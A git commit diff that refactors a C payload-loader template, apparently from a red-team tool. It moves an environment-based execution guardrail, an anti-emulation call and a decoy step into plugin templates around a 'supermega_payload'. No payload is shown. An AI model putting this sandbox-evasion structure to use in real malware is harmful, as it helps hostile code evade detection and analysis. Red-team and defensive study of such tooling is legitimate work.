refactor: fix carrier & templates (modularize)

This commit is contained in:
Dobin Rutishauser
2024-06-17 05:52:56 +02:00
parent 434c099365
commit b5641214e2
10 changed files with 116 additions and 58 deletions
+12 -25
View File
@@ -17,28 +17,25 @@ char *supermega_payload;
{{plugin_antiemulation}}
{{plugin_decoy}}
{{plugin_executionguardrail}}
int main()
{
// Execution Guardrail: Env Check
wchar_t envVarName[] = L"USERPROFILE";
wchar_t tocheck[] = L"C:\\Users\\";
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
if (result == 0) {
return 6;
}
if (mystrcmp(buffer, tocheck) != 0) {
return 6;
DWORD result;
// Call: Execution Guardrail
if (executionguardrail() != 0) {
return 1;
}
// Depends on plugin_antiemulation
// Call: Anti Emulation plugin
antiemulation();
// Decoy
{{plugin_decoy}}
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
// Call: Decoy plugin
decoy();
// Allocate 1
// char *dest = ...
@@ -62,13 +59,3 @@ int main()
return 0;
}
int mystrcmp(wchar_t* str1, wchar_t* str2) {
int i = 0;
while (str1[i] != L'\0' && str2[i] != L'\0') {
if (str1[i] != str2[i]) {
return 1;
}
i++;
}
return 0;
}